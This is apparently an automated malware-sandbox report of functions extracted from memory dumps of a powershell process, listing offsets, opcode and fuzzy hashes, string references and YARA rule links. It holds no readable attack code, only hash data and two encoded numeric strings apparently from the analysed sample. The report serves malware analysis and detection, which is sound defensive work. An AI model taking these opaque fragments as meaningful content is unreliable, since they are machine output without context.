Source File: 0000000D.00000002.2216878613.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8060000_powershell.jbxd

Similarity

API ID:
String ID: =
API String ID: 0-2322244508
Opcode ID: 9be620ba4fabb47ebffdb7297e675d4083fa13f6a43bccf8bb986368b481f567
Instruction ID: ebb25f98940a320cc9208463dfd111e343907509afe7f94d585ca3fc4c1be8c1
Opcode Fuzzy Hash: 9be620ba4fabb47ebffdb7297e675d4083fa13f6a43bccf8bb986368b481f567
Instruction Fuzzy Hash: 0F21D4B1E04B588FEB18CF6B8C0419EBBF7AFC5311F04C1AAC459AB265EB7459568F01

Function 08063C8A Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

"Z, xrefs: 08063DA5

Memory Dump Source

Source File: 0000000D.00000002.2216878613.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8060000_powershell.jbxd

Similarity

API ID:
String ID: "Z
API String ID: 0-607759935
Opcode ID: ac74339d05cd4e4b800a3efe843465f30338d5710b4ea5ce1722db9b2e84cf0f
Instruction ID: b3245272808502c9bb6c8bdc9708aee292933ce838713b4cdbbb40e2d60a11b6
Opcode Fuzzy Hash: ac74339d05cd4e4b800a3efe843465f30338d5710b4ea5ce1722db9b2e84cf0f
Instruction Fuzzy Hash: 9EF05E75E0415ACBDB00CE98D8467AEBBF2AB0A315F59A416D105E7342D37CC9A68B48

Function 08072E58 Relevance: .6, Instructions: 609COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32568a494236141c6e4474822822767c7c818d26994a644adba7a99e3e900fee
Instruction ID: 98ef8233e18b23a9beb522d52cc2a27670bced4e9fdd318ec32f66921e862bc1
Opcode Fuzzy Hash: 32568a494236141c6e4474822822767c7c818d26994a644adba7a99e3e900fee
Instruction Fuzzy Hash: 65326670E00655CFDB58CFA9C49466EFBF2BB88301F64862DD55A9B380CB34A902DB95

Function 072E8E60 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2213590170.00000000072E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_72e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46484fc4649fe651fa93aee29a97e905e37fb1a9a23ae7444dd6df933b8ad382
Instruction ID: 975da9c9e8c1b2f348aa4c3d8ec3e1ecf516ab5747814fedc2fb59d29b555793
Opcode Fuzzy Hash: 46484fc4649fe651fa93aee29a97e905e37fb1a9a23ae7444dd6df933b8ad382
Instruction Fuzzy Hash: CAD1C374E102198FDB54DFA9D894BADBBB2FF88300F1081A9D409AB365DB31AD85CF50

Function 072E8E50 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2213590170.00000000072E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_72e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d63407b6c17e98c916bcced4bd64edd52a4597e4b8a63a61ad7128c26f7319b4
Instruction ID: 3a6446e78307c26a31350d126679cef36554ada43f9f69919e96c57d7a9cade2
Opcode Fuzzy Hash: d63407b6c17e98c916bcced4bd64edd52a4597e4b8a63a61ad7128c26f7319b4
Instruction Fuzzy Hash: D3A1C274E102198FDB54CF69D884B9DBBB2FF89300F5081AAE409AB364DB31AD85CF51

Function 08076029 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e96932eb71db6ca4672bfd9d003dbf3259c9c277a014cc2f25aef22ed87ac26
Instruction ID: 8ee6799ed084dd4b360c3d6ece7081b0be33684b4c34854f4956ecff055a9c13
Opcode Fuzzy Hash: 9e96932eb71db6ca4672bfd9d003dbf3259c9c277a014cc2f25aef22ed87ac26
Instruction Fuzzy Hash: B7813274E1061CCFDB10DFA8D849B9DBBB2FB49305F1081A9D01AA7291DB355D8ACF44

Function 08076038 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944f4ecf1dda91514cde8c4aa01325a46ffe1083e5af37c56d2b177fb60a19ff
Instruction ID: c45e26d1cec9d284acca18c93231417c42313d7ad5ec01a2cf1b47fe24c65a51
Opcode Fuzzy Hash: 944f4ecf1dda91514cde8c4aa01325a46ffe1083e5af37c56d2b177fb60a19ff
Instruction Fuzzy Hash: 0E814374E0061CCFDB10DFA8D848BADBBB2FB49305F1080A9D02AA7281DB355D8ACF44

Function 08076778 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a3c6b05b1c39dd151559d2316d562f91c91b5121375da72c4196ea3f2848f09
Instruction ID: d98854090f53322f37fab2abf685dfb4c082178db30a695986941c6b69b02267
Opcode Fuzzy Hash: 0a3c6b05b1c39dd151559d2316d562f91c91b5121375da72c4196ea3f2848f09
Instruction Fuzzy Hash: 2C512870E11608CFDB44CFA9D4447EDBBF2EF59312F109029D42AA7240DB356945CF48

Function 08076788 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f36e64d72b5b4f39bd6bb7a173baf1389a632b741bd89677f7da3024fd9a0f6
Instruction ID: a83b99c52f7b7d4f7ab596fb78e9bde6e25c3282737663cf2974ad198ef80f23
Opcode Fuzzy Hash: 3f36e64d72b5b4f39bd6bb7a173baf1389a632b741bd89677f7da3024fd9a0f6
Instruction Fuzzy Hash: 7B5116B0E16608CFDB44CFA9D4447EDBBF6EF59312F10902AD42AA7240EB366945CF48

Function 02BC06F8 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbff145789c8a4a0d2654be16dd2732db0f9d5968ecf2c6db4008eeb02d3722c
Instruction ID: 7865e5328acf88de2c0807a01eb3955a0a5b075a9826618941c26b09f75ad8f7
Opcode Fuzzy Hash: dbff145789c8a4a0d2654be16dd2732db0f9d5968ecf2c6db4008eeb02d3722c
Instruction Fuzzy Hash: 1E5157B1E016598BDB18CFABC94059EFBF3AFC8310F14C17AD958AB214EB3459468F54

Function 02BC0DC0 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0804d626c877f16bd1f49dea116066ae725bdf72b387fd9a4f3e3df661ed167
Instruction ID: ec838b25d83845dc1b2b90aeeca3617f4bf76769f78e7b22e2986cce68cb8c62
Opcode Fuzzy Hash: e0804d626c877f16bd1f49dea116066ae725bdf72b387fd9a4f3e3df661ed167
Instruction Fuzzy Hash: 68415CB1E05A58CBEB28DF678C4469AFBF3AFC9301F14C5B9C84CAA255DB3045868F11

Function 06BFC5D0 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2210157777.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44e237a2025fa770c9090a6a255ef3e793e42c7157343e174c30090d6a994ef9
Instruction ID: f3ae573ab84857c44ef1085ec6e44cd4dd456bc064a91cbb75b456ceed51edfe
Opcode Fuzzy Hash: 44e237a2025fa770c9090a6a255ef3e793e42c7157343e174c30090d6a994ef9
Instruction Fuzzy Hash: 4A3178B1D056588BEB68CF5BC94879EFAF6BF88304F14C1EAC50CA6264DB740A858F01

Function 02BC8328 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b880ac3c0b5a234ea08ac6dabea9ee0a156d1d62bb7455ed906bb912410da4b2
Instruction ID: 9dd468c3153d5015ace645041d15c5a476b010b66b86018794f78cf3fcc61bea
Opcode Fuzzy Hash: b880ac3c0b5a234ea08ac6dabea9ee0a156d1d62bb7455ed906bb912410da4b2
Instruction Fuzzy Hash: A63114B1D01218CBEB19CFAAC9447EEBBF2BBC8304F24D4AAD418A7250DB754985CF54

Function 072E6C98 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2213590170.00000000072E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_72e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e0bb5d09572112ad2e610ba2cb66db44530d1ca63605bae7fdae288e1bcc79b
Instruction ID: b842fb72ac1f8df11076eed1627f50fd4939ffb290929bc8aac7d4606a3604a0
Opcode Fuzzy Hash: 3e0bb5d09572112ad2e610ba2cb66db44530d1ca63605bae7fdae288e1bcc79b
Instruction Fuzzy Hash: 5D2178B1D146588BDB18CF6ACD446DEBBF7AFC9300F54C1AAC809AB214DB715A85CE40

Function 02BC8318 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ac5ec4dcb9bc7532232e64e18b1af6e5bea3af4459173e9cfb7a06f530a2c5
Instruction ID: ae8d41a551afe6e7a2246b692f1b0e109c516737454602c0ebe129b72a2c8faf
Opcode Fuzzy Hash: 52ac5ec4dcb9bc7532232e64e18b1af6e5bea3af4459173e9cfb7a06f530a2c5
Instruction Fuzzy Hash: 7B113D71E006188BEB19CF6BC9003EEBBF3AFC9300F14D0BAD508AB214DB344A468B51

Function 072E6C92 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2213590170.00000000072E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_72e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e87ae574f99e1977be1daf04444db557c82fd0da95638d49a668069b26b42bcf
Instruction ID: 462732f2674ab2cb641e7707890e200da5f589f1f401a4d7dfb4ec770b742d6f
Opcode Fuzzy Hash: e87ae574f99e1977be1daf04444db557c82fd0da95638d49a668069b26b42bcf
Instruction Fuzzy Hash: 70117AB1E146588BEB18CF6B8D442DEFBF7AFC9300F54C1BAC409AA658DB754946CE40

Function 070480A0 Relevance: 14.2, Strings: 11, Instructions: 409COMMON

Download Yara Rule

Strings

$q, xrefs: 070481BF
$q, xrefs: 070481AF
$q, xrefs: 07048188
$q, xrefs: 07048214
$q, xrefs: 07048146
$q, xrefs: 070483A9
tPq, xrefs: 070483F4
tPq, xrefs: 07048400
$q, xrefs: 07048224
4'q, xrefs: 07048262
4'q, xrefs: 0704826E

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$tPq$tPq$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-1500401937
Opcode ID: 547d949a1e8bd9211c635ae32422d2db32d10db13ddc720908ff1260cd9ccac2
Instruction ID: 1df1d3748ac345d6eef4a90f46d2d84bc45d113e9ac76aa9099af791b9e5623d
Opcode Fuzzy Hash: 547d949a1e8bd9211c635ae32422d2db32d10db13ddc720908ff1260cd9ccac2
Instruction Fuzzy Hash: A6D124F170030ADFDB648E69C9447AAB7F2EF82211F18CA76E9169B2D0DB35D841C761

Function 07047350 Relevance: 8.9, Strings: 7, Instructions: 171COMMON

Download Yara Rule

Strings

$q, xrefs: 07047405
$q, xrefs: 07047426
$q, xrefs: 07047464
tPq, xrefs: 07047502
$q, xrefs: 070475C0
4'q, xrefs: 070475F0
$q, xrefs: 07047442

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$tPq$$q$$q$$q$$q$$q
API String ID: 0-3347370018
Opcode ID: 5f57b8d93003fbbc469632b5fef62b47d45647eb80e757fa6ab8c2969a4a6710
Instruction ID: 8de99334e16d543067fa4017f0acd37ee26c733c541e49069ae38b7b69ce48fc
Opcode Fuzzy Hash: 5f57b8d93003fbbc469632b5fef62b47d45647eb80e757fa6ab8c2969a4a6710
Instruction Fuzzy Hash: 4451A0F0A00206DFDB64CE18C644BB9B7F2AB85711F19A676E815AB251C7B1DC80CBA1

Function 06BA2A45 Relevance: 6.7, Strings: 5, Instructions: 488COMMON

Download Yara Rule

Strings

4'q, xrefs: 06BA2E01
4'q, xrefs: 06BA2E86
4'q, xrefs: 06BA2E92
Pqq, xrefs: 06BA2A7F
4'q, xrefs: 06BA2E0D

Memory Dump Source

Source File: 0000000D.00000002.2209369154.0000000006BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ba0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$Pqq
API String ID: 0-3878137055
Opcode ID: 242fb15c4bfdac199ad4dc846001e42cc2768a4a52772012c72a9cf905bd609b
Instruction ID: ae78b4e3ece791058f91f167cb4ddf0d748513f55cbcbe8c5e03196d3f584128
Opcode Fuzzy Hash: 242fb15c4bfdac199ad4dc846001e42cc2768a4a52772012c72a9cf905bd609b
Instruction Fuzzy Hash: 10222174A003149FE764DB18C950BAAB7B2EF99304F14C4DAE909AB351DB71ED828F91

Function 0704F638 Relevance: 6.5, Strings: 5, Instructions: 291COMMON

Download Yara Rule

Strings

$q, xrefs: 0704F6C7
4'q, xrefs: 0704F6FB
4'q, xrefs: 0704F6EF
$q, xrefs: 0704F6D3
$q, xrefs: 0704F6AB

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q$$q
API String ID: 0-170447905
Opcode ID: 12d722630a03a2c89a188aae165164076a4267be19958b07c7d2ed0453e35ad6
Instruction ID: 519d1f051fe121475488b22a405e30db3ed142b4739106b5f37223335eba8d23
Opcode Fuzzy Hash: 12d722630a03a2c89a188aae165164076a4267be19958b07c7d2ed0453e35ad6
Instruction Fuzzy Hash: 599137F6B042079FDB609F6998006AABBF1EFC6220F1C817ED546CB251DB35E942C791

Function 07048083 Relevance: 6.4, Strings: 5, Instructions: 138COMMON

Download Yara Rule

Strings

$q, xrefs: 070481AF
$q, xrefs: 07048188
$q, xrefs: 07048214
$q, xrefs: 07048146
4'q, xrefs: 07048262

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$$q$$q$$q$$q
API String ID: 0-1023332887
Opcode ID: 8d20cb9df804119d80aeafeb4348242c27e082ee2e1efc630264caa54b999259
Instruction ID: 8e0926e8e37687078a34e9b10652687cd95425a6e68b80cebe79e2d1c3c1ff4f
Opcode Fuzzy Hash: 8d20cb9df804119d80aeafeb4348242c27e082ee2e1efc630264caa54b999259
Instruction Fuzzy Hash: 1551ACF061420ADFDB648E14CA447AA7BF5BB02351F08CBB6E8259B2E0D334DD81CB61

Function 070470E0 Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

$q, xrefs: 070471CE
4'q, xrefs: 07047262
$q, xrefs: 07047186
$q, xrefs: 070471A7
$q, xrefs: 07047233

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$$q$$q$$q$$q
API String ID: 0-1023332887
Opcode ID: b50d2da20b7684decec3a9a53bdec3901e05c894efe10822d1fbb42b9a458ea3
Instruction ID: 97e3159c014625a824df907b580a4bf13a2a8639c3230c0a99e8db8d50a53fe9
Opcode Fuzzy Hash: b50d2da20b7684decec3a9a53bdec3901e05c894efe10822d1fbb42b9a458ea3
Instruction Fuzzy Hash: 57417EF061020ADFDF688E18CA447AA77F5FB41311F18A3B6E8259B261D774D980CB51

Function 0806648A Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

69,65,89,71,78,66,120,118,71,106,103,106,69,51,100,50,72,110,86,55,77,119,52,109,67,103,65,110,65,122,89,54,66,68,52,48,73,50,77,4, xrefs: 08066594
4'q, xrefs: 08066584
), xrefs: 0806663B
B, xrefs: 08066661
$q, xrefs: 08066527

Memory Dump Source

Source File: 0000000D.00000002.2216878613.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8060000_powershell.jbxd

Similarity

API ID:
String ID: )$4'q$69,65,89,71,78,66,120,118,71,106,103,106,69,51,100,50,72,110,86,55,77,119,52,109,67,103,65,110,65,122,89,54,66,68,52,48,73,50,77,4$B$$q
API String ID: 0-1861811462
Opcode ID: 7625c355eeb726741e571af645f33f68aac9812a0fb90a20ff56fc178c1cf3fd
Instruction ID: 9489ada87753ab93a14f3cf0e7c10d6daa93664c6af4028363fd601ee7f871ea
Opcode Fuzzy Hash: 7625c355eeb726741e571af645f33f68aac9812a0fb90a20ff56fc178c1cf3fd
Instruction Fuzzy Hash: D64114719012298FDB64CF69CC817DABBB2BB48300F5485E9E54AE7750CB749ED28F80

Function 0704A998 Relevance: 6.4, Strings: 5, Instructions: 106COMMON

Download Yara Rule

Strings

$q, xrefs: 0704AAC4
$q, xrefs: 0704AA54
$q, xrefs: 0704AA76
4'q, xrefs: 0704AB06
$q, xrefs: 0704AA38

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$$q$$q$$q$$q
API String ID: 0-1023332887
Opcode ID: af2c18261b0841730d2ba74ee75abdfa93b821da69cae22397ad5f8f1ac4d3ac
Instruction ID: 6bc2426817f4934ac8eacecf1ac7553eee6fa5003be9f49d797afb426ac10ccf
Opcode Fuzzy Hash: af2c18261b0841730d2ba74ee75abdfa93b821da69cae22397ad5f8f1ac4d3ac
Instruction Fuzzy Hash: C931F0F2B80207DFDB648F14CA4076AB7F6BB81254F18C27AD4148B252DB74D990CBD1

Function 0704A130 Relevance: 6.3, Strings: 5, Instructions: 93COMMON

Download Yara Rule

Strings

$q, xrefs: 0704A1C4
$q, xrefs: 0704A1A3
$q, xrefs: 0704A243
4'q, xrefs: 0704A26B
$q, xrefs: 0704A1EE

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$$q$$q$$q$$q
API String ID: 0-1023332887
Opcode ID: 21cedd818e18b90c7dc704ade07f92d829342caebed72a45938d877ccce341fb
Instruction ID: 7d314b22f54d98ab16c80be6c25b497f8065387fb8193b879f2920ec313a4f72
Opcode Fuzzy Hash: 21cedd818e18b90c7dc704ade07f92d829342caebed72a45938d877ccce341fb
Instruction Fuzzy Hash: A231ADF5B8020ADFDFA08E19CB407A9B7F4BF45610F18C276E825AB251D736D940EB51

Function 0806623C Relevance: 6.3, Strings: 5, Instructions: 67COMMON

Download Yara Rule

Strings

82,99,98,65,120,108,109,79,121,69,86,99,65,111,81,71,105,120,120,89,65,57,122,71,83,52,48,76,121,53,104,74,71,99,107,71,87,69,74,6, xrefs: 0806629A
d, xrefs: 0806634D
k, xrefs: 08066327
XXq, xrefs: 0806623C
t-$, xrefs: 08066265

Memory Dump Source

Source File: 0000000D.00000002.2216878613.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8060000_powershell.jbxd

Similarity

API ID:
String ID: 82,99,98,65,120,108,109,79,121,69,86,99,65,111,81,71,105,120,120,89,65,57,122,71,83,52,48,76,121,53,104,74,71,99,107,71,87,69,74,6$XXq$d$k$t-$
API String ID: 0-3902733648
Opcode ID: 63cbdc23ce8868484619e67d42df9336d4e181b3277c01f00412a780ffa60cac
Instruction ID: 38af212fd5c56a0000cad9c93c4bb90b196a0548486877d9b0bf51cd77619a4e
Opcode Fuzzy Hash: 63cbdc23ce8868484619e67d42df9336d4e181b3277c01f00412a780ffa60cac
Instruction Fuzzy Hash: 74313971A4016A8FDB20CF59CC41BAEB7F2FB48300F5485E9D10AE7650DB359E819F90

Function 06BA8C30 Relevance: 5.3, Strings: 4, Instructions: 341COMMON

Download Yara Rule

Strings

4'q, xrefs: 06BA8E86
4'q, xrefs: 06BA8F40
4'q, xrefs: 06BA8E9C
4'q, xrefs: 06BA8F2A

Memory Dump Source

Source File: 0000000D.00000002.2209369154.0000000006BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ba0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q
API String ID: 0-4210068417
Opcode ID: 110f09c5cd3eb12371f2526fe3e1010622be9a690e70953069a4fcfa4b12d60d
Instruction ID: 4ef4839a5e8d3d6827180906e364508bfe80a8d1f8ce792787f7e4a1635cf27d
Opcode Fuzzy Hash: 110f09c5cd3eb12371f2526fe3e1010622be9a690e70953069a4fcfa4b12d60d
Instruction Fuzzy Hash: 66E15FB4A40315DFEB64DB64C954B9EB7B2EB84304F1081E9E6096B391CB71ED82CF94

Function 0704D160 Relevance: 5.3, Strings: 4, Instructions: 287COMMON

Download Yara Rule

Strings

`Qq, xrefs: 0704D3C7
`Qq, xrefs: 0704D3A3
d, xrefs: 0704D498
`Qq, xrefs: 0704D3BB

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: `Qq$`Qq$`Qq$d
API String ID: 0-348965374
Opcode ID: 5256db5f8c75b38d2deb20866202025f9f71b7abd8200fdce6884750a9073d07
Instruction ID: fb022719e698daa8a19bcb385de66b652149ae534079a5d1fab1ae2fa823f22d
Opcode Fuzzy Hash: 5256db5f8c75b38d2deb20866202025f9f71b7abd8200fdce6884750a9073d07
Instruction Fuzzy Hash: 3C9145F1B002058FE7149B6898007AEBBF2DFD2210F1885BADA169B241DE35DD42C7E2

Function 06BA96BF Relevance: 5.3, Strings: 4, Instructions: 279COMMON

Download Yara Rule

Strings

4'q, xrefs: 06BA991B
4'q, xrefs: 06BA988D
4'q, xrefs: 06BA9877
4'q, xrefs: 06BA9931

Memory Dump Source

Source File: 0000000D.00000002.2209369154.0000000006BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ba0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q
API String ID: 0-4210068417
Opcode ID: 5382b86a44cda468a995c0cfc361e46eef8fca0cd5e1939d4edc339f4856586f
Instruction ID: 4f74d6d0fbc711ea67d1966178121041d8be73cfa620daa106a22a8aca3a7737
Opcode Fuzzy Hash: 5382b86a44cda468a995c0cfc361e46eef8fca0cd5e1939d4edc339f4856586f
Instruction Fuzzy Hash: 5AC16DB4B003159FEB64EB14C984B9AB7B2EB85304F1081D5E6496B391CF71ED82CF95

Function 0704EC25 Relevance: 5.1, Strings: 4, Instructions: 123COMMON

Download Yara Rule

Strings

4'q, xrefs: 0704ED89
(oq, xrefs: 0704EC74
tPq, xrefs: 0704EDDF
(oq, xrefs: 0704EC68

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: (oq$(oq$4'q$tPq
API String ID: 0-2772928020
Opcode ID: 8ae150ef79d86a8f818cdcfdc2febcf26120a0e09d6d6259258cd203e26b5024
Instruction ID: c45f12a631916e4ad24598b55e4031bd1d4a71fdf0e9d766f3b52b445655e302
Opcode Fuzzy Hash: 8ae150ef79d86a8f818cdcfdc2febcf26120a0e09d6d6259258cd203e26b5024
Instruction Fuzzy Hash: 4F4113F1A012458FDB248F54C841B6ABBF2FF86620F1C82B6E5249F291C731DC42CBA1

Function 07047608 Relevance: 5.1, Strings: 4, Instructions: 117COMMON

Download Yara Rule

Strings

$q, xrefs: 0704770C
tPq, xrefs: 0704778F
(oq, xrefs: 0704764B
(oq, xrefs: 07047657

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: (oq$(oq$tPq$$q
API String ID: 0-3258648728
Opcode ID: db19d2c4023aca42957a30d4391705b8123f7896ed4dd3efc7d3b0ea153ea187
Instruction ID: 083954affa25db71079d0002d716a68f2f2f15999298ffa9ebb500e0890a492c
Opcode Fuzzy Hash: db19d2c4023aca42957a30d4391705b8123f7896ed4dd3efc7d3b0ea153ea187
Instruction Fuzzy Hash: 8B4136F1B002069FD7208F589945BAABBF2FF85610F58827AE515AF291DB31DC41C7A1

Function 0704F510 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$q, xrefs: 0704F56C
$q, xrefs: 0704F53E
$q, xrefs: 0704F578
$q, xrefs: 0704F522

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: 32ea1229c01dda080a818c2c24b75fa2a4c05c09612c266c0a2e777c18c9c138
Instruction ID: f6e91d4716f8b198df77b83e67f57239ad37696f65f5254f1e21778fd600ffc1
Opcode Fuzzy Hash: 32ea1229c01dda080a818c2c24b75fa2a4c05c09612c266c0a2e777c18c9c138
Instruction Fuzzy Hash: 7E213BF17103039BFB745D6D5C4072BA6D69BC1615F2C813BA606DB381DD75EA41C361

Function 02C94D55 Relevance: 5.1, Strings: 4, Instructions: 91COMMON

Download Yara Rule

Strings

pp^, xrefs: 02C94D82
pp^, xrefs: 02C94D92
pp^, xrefs: 02C94DD2
